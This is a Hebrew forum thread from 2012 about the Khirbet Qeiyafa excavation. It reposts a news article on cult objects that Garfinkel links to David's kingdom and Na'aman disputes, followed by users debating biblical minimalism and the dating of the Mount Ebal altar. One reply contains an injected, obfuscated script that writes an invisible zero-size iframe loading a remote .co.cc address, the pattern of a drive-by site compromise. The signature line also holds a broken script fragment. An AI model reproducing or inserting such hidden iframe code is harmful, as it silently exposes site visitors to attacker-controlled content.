בית פורומים עצור כאן חושבים

ושוב: האם הארכיאולוגיה תסתור את ביקורת המקרא המינימליסטית?

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-9/5/2012 08:34 לינק ישיר 
ושוב: האם הארכיאולוגיה תסתור את ביקורת המקרא המינימליסטית?

הוכחות ארכיאולוגיות לקיומה של ממלכת דוד ושלמה ומקדש ה' בירושלים?

בלי עבודה זרה? ממלכה רחבה מכפי שסוברים המינימליסטים?

הרחק מתשומת ליבו של הציבור החרדי או הנמנע מקריאת ספרי ביקורת המקרא, מתנהל מאבק על ההיסטוריה. כפי שכתב רבנו ג'ורג' אורוול (1984), מי ששולט בהווה כותב את העבר ומי ששולט בעבר שולט בעתיד (פרפרזה).

וכך אפשר לקרוא מחקרים (או "מחקרים"?) שבהם "מוכח" שכל מה שכתוב בתנ"ך הוא בחזקת שקר, בוודאי כל עוד מדובר בהצגת עובדות, וכל דבר חשוד עד שיבואו שני עדים כשרים שיעידו.

סליחה על הציניות. זו פשוט הרגשה של חוסר אונים (אולי כזו של מי שקורא אשכולות שלי נגד קבלה ורוצה שמישהו פעם אחת ולתמיד יוכיח למיימוני הזה עד כמה הוא חסר רגישות ואינו מוכן לתת קרדיט לחכמי העבר).

ובכן, שני עדים קצת קשה להשיג, אבל ממצאים ארכיאולוגים מטבעם מפתיעים ועשויים לשנות את המפה.

הנה כך:

בעצם, רגע. שימו לב לפירוש מעניין לפסוק שמתחדש עקב הממצא, לכך שלא ברור למוצא איזה פולחן יכול היה להיות אם אין שם פסל חמוד, ולכך שאין שם עצמות חזיר אבל לזה יש הסבר. כנראה לא רק עם ישראל נמנע מאכילת חזירים (ואכן, גידול חזירים בארץ מדברית למחצה אינו משתלם כלכלית ומזיק לסביבה).

שוב, סליחה על הציניות. כל פעם שאני קורא את הביקורת שניגשת לטקסטים ומודיעה מראש: יש כאן שקר רק בגלל שלא מצאנו הוכחות שמה שכתוב כאן זה נכון, בתחום הארכיאולוגיה, זה גורם לי חלישות הדעת והנפש. למה לא לתת הזדמנות לטקסט לדבר בעד עצמו? האם אין כאן מניעים אחרים? (ושוב, למה לא לכתוב זאת נגד עצמי בהקשרים אחרים? ובכל זאת, האם אין הבדל עצום?).

לקריאתכם. להנאתכם. לשיפוטכם.

כלי הפולחן שעשויים לחשוף פרטים על ממלכת דוד

ממצאים שהתגלו בעמק האלה מכילים לטענת חוקרים מוטיבים המזכירים את תיאור מקדש שלמה בתנ"ך, ויכולים ללמד כי ממלכת דוד היתה רחבה ומבוססת


האתר הארכיאולוגי חירבת קייאפה שבעמק האלה הוא אחד האתרים השנויים ביותר במחלוקת בעולם המחקר. מאז שהתגלה ב-2007, הוא ניצב בלב ויכוח מתמשך על ההיקף והמעמד של ממלכת דוד ושלמה - ויכוח שאינו אלא הפרק האחרון במחלוקת בת כמעט מאתיים שנה על התוקף ההיסטורי של חלקים נרחבים מהסיפור המקראי.

ארכיאולוגים חשפו אתמול ממצאים חדשים שגילו במקום, שעשויים רק להגביר את הוויכוחים האקדמיים הסוערים סביב האתר. לדברי החוקרים, הפרופ' יוסי גרפינקל מהמכון לארכיאולוגיה באוניברסיטה העברית ועמיתו סער גנור מרשות העתיקות, הם גילו באתר כלי פולחן קדומים מתקופת השלטון של דוד ביהודה. הם טוענים שכלי הפולחן מהווים עדויות ראשונות בתולדות המחקר הארכיאולוגי לפולחן יהודאי בתקופת דוד, בסביבות המאה העשירית לפני הספירה. מעבר לכך, שניים מכלי הפולחן הם דגמי מקדש קטנים, ולטענת החוקרים הממצאים הללו כוללים מוטיבים התואמים את תיאור מקדש שלמה בספר מלכים בתנ"ך.

תצלום אווירי של האתר. מקיפה אותו חומת סוגרים שלפני 3,000 שנה התנשאה לגובה של שישה מטרים, וכיום ניצבת בגובה של שניים-שלושה מטרים
תצלום אווירי של האתר. מקיפה אותו חומת סוגרים שלפני 3,000 שנה התנשאה לגובה של שישה מטרים, וכיום ניצבת בגובה של שניים-שלושה מטרים. צילום: סקי וויו

חירבת קייאפה היא עיר בצורה הניצבת על ראש אחת גבעות הטרשים בעמק האלה, על שטח של 23 דונם. מקיפה אותה חומת סוגרים שלפני 3,000 שנה התנשאה לגובה של שישה מטרים, וכיום ניצבת בגובה שניים-שלושה מטרים. לאורך החומה נבנו 99 בתים. גרפינקל רואה בחירבת קייאפה הוכחה ראשונה לקיומו של שלטון אזורי בתקופת דוד, שהשתרע לכל הפחות עד עמק האלה. הוא טוען שזו העדות החזקה הראשונה נגד טענותיהם של חוקרים מהגישה הידועה כמינימליזם, שלפיה ממלכת דוד היתה רק כפר קטן, דל ודליל באוכלוסייה באזור ירושלים. החוקרים המינימליסטים טוענים שבהעדר ממצאים ארכיאולוגיים חוץ-מקראיים, לא ניתן להסתמך על התיאור המקראי של ממלכת דוד, שלפיו הממלכה היתה שלטון עוצמתי שחלש על אזורים נרחבים בלבנט. מנגד, פרשנים מקסימליסטים המקבלים את תיאורי המקרא לממלכת דוד, רואים בחירבת קייאפה הוכחה משמעותית ראשונה לממלכת הזוהר הגדולה. הפרופ' גרפינקל דוגל בגישת ביניים, וטוען כי חירבת קייאפה מעידה על היקף שלטוני איפשהו בין שתי גישות הקיצון הללו: שלטון אזורי שכלל בתוכו את ירושלים, חברון וחירבת קייאפה.

תעלומת התכולה של הכלים

גרפינקל ביקש להדגיש במסיבת העיתונאים, אתמול, שהממצאים שהציג היו תגליות חשובות כשלעצמן. הוא וגנור הודיעו כי מצאו שני כלים פולחניים שלדבריהם שימשו ארונות לשמירת סמלי האל. לדברי גרפינקל, "הארונות שנמצאו, אחד עשוי חרס והשני אבן, זהים לחפץ שכונה במקרא בתקופת דוד המלך 'ארון אלוהים'. אלה מתקנים בהם שמרו את סמל האל, בדומה לארונות הקודש המשמשים בבתי הכנסת לשמירת ספרי תורה".

הארונות נראים כדגמי מקדשים, שמוכרים לארכיאולוגים מאתרים אחרים באזור. אך לטענת גרפינקל, הייחודי בדגמים שנמצאו בחירבת קייאפה הוא שהם מציגים מוטיבים המופיעים בתיאור מקדש שלמה, והם מייצגים עדות ראשונה לפולחן יהודאי בתקופת ממלכת דוד. הפריט מחרס כולל פתח מעוטר שמשני צדיו ניצבים אריות. בחזית נראים שני עמודים הדומים, לדברי גרפינקל, לתיאור עמודי יכין ובועז במקדש שלמה. מעל הפתח נראות שלוש קורות ישרות ועליהן עיגולים מחורצים, שגרפינקל מזהה כחלקו העליון של בית המקדש כפי שהוא מתואר בתנ"ך. גרפינקל טוען שניתן לזהות בחלק העליון של הפריט מחרס ייצוג של הפרוכת על פתח הדביר בבית המקדש. על גג הדגם ניצבות שלוש ציפורים, שלדברי גרפינקל עשויות לרמוז על הקרבת ציפורים לפולחן.

כלי הפולחן שהתגלו
כלי הפולחן שהתגלו. צילום: מיכל פתאל

לטענתו, גם ארון האבן - תגלית ראשונה מסוגה, הוא אומר - תואם תיאורים תנ"כיים של בית המקדש. "ארון האבן שהתגלה בחפירות פותר לראשונה את התעלומה בדבר משמעותם של כמה מתיאורי הבנייה של ארמון ומקדש שלמה. בתיאור הארמון מופיע הביטוי הקשה: 'ושקופים שלושה טורים ומחזה אל מחזה שלוש פעמים' (מלכים א, פרק ז, פסוק ד). עתה ברור כי מתואר כאן פתח מפואר לארמון שבו שלוש מסגרות שנסוגו פנימה, שלושה משקופים מצד ימין, שלושה מצד שמאל ושלושה מעל הפתח".

באשר לשאלה מה הוצב בתוך הארונות הללו, גרפינקל וגנור אינם חושבים שהיו אלה צלמיות, שכלל לא התגלו באתר. אולי היה זה משהו מופשט יותר, אולי שום דבר. גרפינקל מבהיר שהדגמים הללו, שקודמים לתקופת מקדש שלמה, מראים כיצד התיאורים של מקדש שלמה נטועים בארכיטקטורה המקומית של המזרח הקדום. "הממצאים האלה מאירים באופן מוחשי היבטים מגוונים על הפולחן הקדום בממלכת דוד", הוא אומר.

הארכיאולוג יוסי גרפינקל מסייר באתר חירבת קייאפה
הארכיאולוג יוסי גרפינקל מסייר באתר חירבת קייאפה. צילום: גיל כהן מגן

אולם הפרופ' נדב נאמן, היסטוריון וארכיאולוג מאוניברסיטת תל אביב, מבטל לחלוטין את הטענות של גרפינקל וגנור. "אין לזה שום קשר למקדש בירושלים", הוא אומר, "שני הדגמים של המקדשים הם ממצאים ידועים היטב מהתרבות הכנענית מתקופות קדומות ומאוחרות. אלה ממצאים יפים, אבל לא מיוחדים במובן זה שכמותם נמצאו במקומות שונים ולכן אין לקשור אותם בשום אופן לארון".

"מודל של מקדש זה מסוג הדברים שמאמינים היו עושים בחומרים שונים ונותנים למקדש בתור אקט של חסידות", טוען נאמן, "אין דבר כזה שאתה מוצא מודל של מקדש באתר מסוים והמודל מייצג מקדש במקום רחוק יותר. הדבר הבאמת מעניין באחד משני המודלים האלה הוא שיש שם שילוב של אריות ויונים. יונה קשורה לאלת פריון, וגם הקומבינציה הזאת מרמזת לזה שהמודל היה שייך לאתר פולחן של אלת פריון. אני סבור שקייאפה היא אתר כנעני - שלא היה לה שום קשר לירושלים. לכן הממצא הזה מחזק מאוד את מה שאני טוען".

נאמן נוגע כאן בנקודה מרכזית בוויכוח על חירבת קייאפה - כדי שהאתר הארכיאולוגי הזה ישחק תפקיד מפתח בביטול הטענות של המינימליסטים לגבי ממלכת דוד, על גרפינקל להראות שהאתר יהודאי ולא כנעני או פלשתי. הוא וגנור אומרים שדגמי המקדש שונים מהדגמים המוכרים, ושהעיצוב שלהם אכן מחזק את התפישה שהאתר יהודאי.

הד"ר חגי משגב מהאוניברסיטה העברית, שעוסק באפיגרפיה ופליאוגרפיה שמית ותומך בפרשנות של גרפינקל לחירבת קייאפה, טוען מנגד שהממצאים החדשים אינם נוגעים לשאלת האתניות של האתר: "כשלעצמו, הממצא חשוב. אבל הוא לא מעיד שהאתר יהודאי וגם לא סותר זאת". אך גרפינקל טוען שהוא אינו זקוק לדגמי המקדש כדי לבסס את העובדה שהאתר אכן יהודאי. לדבריו, יש לו רשימה הולכת וגדלה של הוכחות לכך. בין היתר הוא מזכיר שבאתר נמצאו אלפי עצמות בעלי חיים, אך אין עצמות חזירים, ולא נמצאו באתר צלמיות. נוסף על כך התגלה באתר אוסטרקון - שבר חרס שעליו כתובת שחלק מהארכיאולוגים טוען שהיא בעברית קדומה.

האיום החדש: רמת בית שמש

על כל אחד מהטיעונים האלה יש לנאמן ולמבקרי הפרשנות של גרפינקל תשובה. באשר להיעדר עצמות חזיר, נאמן אומר כי "בתקופה הזו, בגלל ההתנגדות לפלשתים, גם הכנעניים נמנעו מאכילת חזיר. רק הפלשתים אכלו בתקופה זו הרבה חזיר"; על טענת הצלמיות הוא אומר כי "יהודה מלאה בצלמיות עד סוף ימי בית ראשון. יתר על כן, יש מחלוקת גדולה במחקר אם צלמיות חרס משקפות אלוהות".

במקביל לעבודה הארכיאולוגית והוויכוחים סביבה, נידונה בימים אלה תוכנית להרחבת רמת בית שמש השכנה למרחק של 20-30 מטרים מהחומה הקדומה של האתר הארכיאולוגי. "חירבת קייאפה היא אתר מורשת מהמעלה הראשונה. עכשיו האתר נתקל בתוכנית בינוי שמאיימת לבלוע אותו בשכונות מגורים חדשות", מספר גנור. לדבריו, ההרחבה צפויה להקיף את האתר במבני מגורים משלושה כיוונים. "אני חושב שזהו אינטרס ציבורי שראוי להילחם ולהיאבק למענו, כמובן תוך מציאת פתרונות חלופיים לבתי המגורים. חשוב שהפתרונות שיימצאו לא יפגעו באתר כה חשוב ומשמעותי כמו האתר שלנו".


http://www.haaretz.co.il/news/science/1.1703517


_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דווח על תוכן פוגעני

מנותק
נשלח ב-9/5/2012 09:21 לינק ישיר 

.



מיימוני - בקר טוב לך.


כבר כמה וכמה שנים שמתחולל הויכוח במלוא עוזו, כאשר שני עוגנים מקשים על האסכולה התל-אביבית; חפירות המזבח בהר עיבל, וחפירות העיר שזוהתה כשערים סמוך לעמק האלה.

רק לידיעת המתעניינים - לקחתי את משפחתי לשם בחול המועד פסח, אין הרבה מה לראות בשטח עצמו, אלא אם אתם מהמתעניינים מאד בנושא.






דדווח על תוכן פוגעני

מנותק
נשלח ב-9/5/2012 09:32 לינק ישיר 

אז החבר'ה מתל אביב יטענו שהתארוך לא נכון ומדובר בכלל בכלים אחרים
ואין שום הוכחה שמדובר בהעתק של ארון הברית.
בקיצור סתם משחק מכור.



דדווח על תוכן פוגעני

מחובר
נשלח ב-9/5/2012 13:48 לינק ישיר 
מקדש דגם איקאה

מיימוני כתב:
...

הפריט מחרס כולל פתח מעוטר שמשני צדיו ניצבים אריות. בחזית נראים שני עמודים הדומים, לדברי גרפינקל, לתיאור עמודי יכין ובועז במקדש שלמה. 

...

על גג הדגם ניצבות שלוש ציפורים, שלדברי גרפינקל עשויות לרמוז על הקרבת ציפורים לפולחן

...

הדבר הבאמת מעניין באחד משני המודלים האלה הוא שיש שם שילוב של אריות ויונים. יונה קשורה לאלת פריון, וגם הקומבינציה הזאת מרמזת לזה שהמודל היה שייך לאתר פולחן של אלת פריון. אני סבור שקייאפה היא אתר כנעני - שלא היה לה שום קשר לירושלים. לכן הממצא הזה מחזק מאוד את מה שאני טוען".

******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



   שוב נמצא שריד היסטורי כלשהו, שכ"א יכול לתלות בו את מה שלבו חפץ:
  1. לדעת ה"מקסימליסטים", מדובר במקדש דומה למרכזי, והיונים מרמזות מה להקריב. אולי בכלל מדובר בגרסת איקאה למקדשים. בית החרושת למקדשים בסטוקהולם/ירושלים היה מוציא חלקי פרי-פב להרכבת המקדש, כולל תרשימים של מה להקריב איפה (אמנם לא הבנתי כיצד לא התבלבלו המקומיים והקריבו אריות על העמודים, לדוגמה, אבל בטח יש הסבר.)
  2. לדעת ה"מינימליסטים", מדובר במקדש לאלת הפיריון. יונים, כידוע, מסמלות פיריון, והקומבינציה, לכן, קשורה לפיריון ג"כ (האריות שוב אבדו בדרך).
  כרגיל, אינני רואה איך ללא מנגנון היזון חוזר, אפשר בכלל להבין מתודולוגית האם שיטה היסטורית / ארכיאולוגית אחת מצליחה להסביר ממצאים יותר טוב משיטה אחרת. כאן, בפרט, לא ברור לי האם למישהו יש מושג קלוש מה מידת הדמיון בין צורות הפולחן באותה תקופה, ועד כמה הן נטו לשאול מוטיבים זו מזו (כפי שהשימוש הנוצרי בעץ אשוח, לדוגמה, הוא גלגול של אמונה פגאנית נורדית). 
  את הבעייתיות ניסיתי להסביר ב
הפירוש הנכון: מדוע לא לומדים תורה כמו שממליצים על סרטים? .  כמדומני שהתשובות שם היו  שבהנתן נתונים חדשים (נניח, ממצא ארכיאולוגי חדש), אנשים מצליחים להעריך עד כמה נכונות היו דיעותיהם המקוריות. מה משמח לראות שהשיטה עובדת, וה"מקסימליסטים", ה"מינימליסטיים", ודייר, מצאו אישוש אובייקטיבי לדיעותיהם הסותרות.




דדווח על תוכן פוגעני

מנותק
נשלח ב-9/5/2012 14:09 לינק ישיר 

רק ממצא כתוב כמו ברכת כהנים הידועה שמצאו בכתף הינום יכולה לסתום את הפה לפינקלשטיין וחבר מרעיו.
או לחלופין מציאת המשכן וכליו.
כל דבר אחר ניתן לפרשנות.



דדווח על תוכן פוגעני

מחובר
נשלח ב-9/5/2012 15:05 לינק ישיר 

אם ניקח לדוגמה את הדוגמה שהוזכרה - "מזבח הר עיבל", היא אמנם מצד אחד מאשרת שיש בסיס היסטורי לתיאור המקראי אודות טקס הברכה והקללה. אך מאידך היא סותרת את התיארוך המקראי, שכן ע"פ המקרא הטקס בראשות יהושע ב"ן אירע מעל 400 שנה לפני הקמת מקדש שלמה, בעוד ע"פ התיארוך הארכיאולוגי (של אדם זרטל חופר האתר) המזבח נבנה רק כ-250 שנה לפני מקדש שלמה, לפחות 150 שנה אחרי יהושע המקראי.
דוגמה זו ואחרות מראות, שהמקרא נכתב מאות שנים לאחר האירועים המתוארים, ולכן גם אמינותם מוטלת בספק. ולכן גישתם העקרונית של בעלי "דרך האמצע" כפינקלשטיין ואחרים, האומרים שלא נכון לייחס אמינות מקסימלית לתיאור המקראי כל עוד הוכח אחרת, אלא שנכון יותר להתייחס בספקנות לתיאור המקראי, כל עוד לא הוכח שהתיאור מדוייק ומהימן.

(אז נכון שפינקלשטיין אינו מקבל את זיהוי המזבח כמזבח, אבל זו נקודה שניתן להתווכח איתו, והיא לא קשורה לגישה העקרונית בה הוא נוקט כנ"ל).

תוקן על ידי מקרא ב- 09/05/2012 15:06:34




דדווח על תוכן פוגעני

מחובר
נשלח ב-9/5/2012 15:13 לינק ישיר 

נכון מקרא והתארוך הארכאלוגי ניתן למשה מסיני וכל הכופר בו
ככופר בעיקר ואין לו חלק בעולם האקדמיה.
פשוט בדיחה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-9/5/2012 15:26 לינק ישיר 

מקרא

ממצא אדם זרטל מיוחס לסביבות בין 1250 ל1300 לפני הספ,שתואם בדיוק לתקופת יהושוע ,בהתחשב שמתן תורה ותחילת דור המדבר התקיימו ב1313 לפני הס,



דדווח על תוכן פוגעני

מחובר
נשלח ב-9/5/2012 15:30 לינק ישיר 

דייר

האם יש ארכיאולוג אחד שחולק על כך שאתר הר-עיבל נבנה במאה ה-13 לפנה"ס ולא במאה ה-15 לפנה"ס (בהתאם לתיארוך המקראי)? לא!
גם המקסימליסטים טוענים שההתנחלות בכנען החלה רק במאה ה-13 לפנה"ס, וכך גם אתר הר-עיבל.
אם אתה רוצה לטעון ששיטות התיארוך המקובלים בקרב כל הארכיאולוגים אינם נכונים, עליך להוכיח זאת.



דדווח על תוכן פוגעני

מחובר
נשלח ב-9/5/2012 15:33 לינק ישיר 

אני טוען שזה לא מדע מדויק ויכולות להיות טעויות ולהגיד שהתארוך שלנו
צודק ב100% והתנ"ך טועה זאת עזות מצח וחוצפה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-9/5/2012 15:35 לינק ישיר 

ביליצר כתב:
מקרא

ממצא אדם זרטל מיוחס לסביבות בין 1250 ל1300 לפני הספ,שתואם בדיוק לתקופת יהושוע ,בהתחשב שמתן תורה ותחילת דור המדבר התקיימו ב1313 לפני הס,


???



דדווח על תוכן פוגעני

מחובר
נשלח ב-9/5/2012 15:35 לינק ישיר 

ביליצר

גם תיארוך דור המדבר וההתנחלות למאה ה-13 כמקובל בקרב החוקרים, אינו תואם עם התיארוך המקראי.
לפי המקרא מקדש שלמה נבנה 480 שנה לאחר יציאת-מצרים (מל"א ו,א), ושלמה הלא חי במאה ה-10 לפנה"ס. כלומר, שע"פ המקרא יציאת-מצרים אירעה במאה ה-15 לפנה"ס! לפחות 150 שנה לפני התיארוך המקובל במחקר.



דדווח על תוכן פוגעני

מחובר
נשלח ב-9/5/2012 15:44 לינק ישיר 

דייר כתב:
אני טוען שזה לא מדע מדויק ויכולות להיות טעויות ולהגיד שהתארוך שלנו
צודק ב100% והתנ"ך טועה זאת עזות מצח וחוצפה.

היית יכול להיות צודק אילו היה ברור מהמקרא שהתיאורים נכתבו בשעת מעשה, אז היה צורך ב"עזות" ו"חוצפה" לבא ולומר שמי שחי בזמן האירועים מתאר אירוע שלא היה, והוא סופר שקרן.
אבל לא על זה מדובר, הלא ללא קשר למחקר הארכיאולוגי-היסטורי, מהמקרא עצמו ברור שס' יהושע לדוגמה, נכתב הרבה לאחר האירועים המתוארים בספר. כך עולה מראיות רבות, כמו איזכור "ספר הישר" כמקור הן ביהושע והן בשמואל אודות דוד (יהו' י,יג; שמ"ב א,יז-יח). וכמו איזכורי "עד היום הזה" שביהושע המוכיחים את איחור הספר (ר' הקדמת אברנבנאל לנ"ך).
ומכיון שס' יהושע נכתב הרבה לאחר האירועים שהוא מתאר, אין כאן שום "עזות וחוצפה" לומר שהמחבר לא צדק בדבריו ושהמסורות שהגיעו לידיו הוא מוטעות או לא מדוייקות מספיק. זה דבר טבעי לחלוטין שמסורות משתבשות ולובשות ופושטות צורה מדור לדור.

תוקן על ידי מקרא ב- 09/05/2012 15:46:11




דדווח על תוכן פוגעני

מחובר
נשלח ב-9/5/2012 15:52 לינק ישיר 

לפי חשבון התלמוד וכך היא מסורת ישראל זמן מתן תורה התקיים 1313 לפני הס,
בעיית אותם מאתיים שנה מימי שלמה היא עתיקת יומין ללא קשר לממצאים אלה ואין עניין לדחוף אותו לכל מקום כדי להפריך מציאות של מזבח באותו הר המוזכר ביהושוע עם אותם דיני ישראל לפרטיו.



דדווח על תוכן פוגעני

מחובר
נשלח ב-9/5/2012 15:53 לינק ישיר 

מקרא אתה רציני?
זה הראיות שלך לאיחור הכתיבה הרי אתה יודע מה דרשו על ספר הישר
גם התורה הוזכרה אצל שניהם אז זה מוכיח שהתורה נכתבה בימי דוד?
ו"עד היום הזה" אולי זאת באמת תוספת מאוחרת אבל זה לא מוכיח שעיקרי הדברים
לא נכתבו בזמן אמת.
אבל גם אם זה נכתב אחרי מי אמר לך שהמסורות השתבשו?
אולי התארוך משובש.



דדווח על תוכן פוגעני

מחובר
נשלח ב-9/5/2012 16:10 לינק ישיר 

מקרא

באמת מעניין האם כל מימצאי הארכיאולוגיה או חוסר ממצאים הולכים לפי אותו פסוק במלכים ושאשר על כן מוצאים ממנו מקום להתגדר בו שהכול לא היה ולא נברא ,או שגם לפי מסורת התלמוד הם מחושבנים?



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > ושוב: האם הארכיאולוגיה תסתור את ביקורת המקרא המינימליסטית?
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 ... 13 14 15 לדף הבא סך הכל 15 דפים.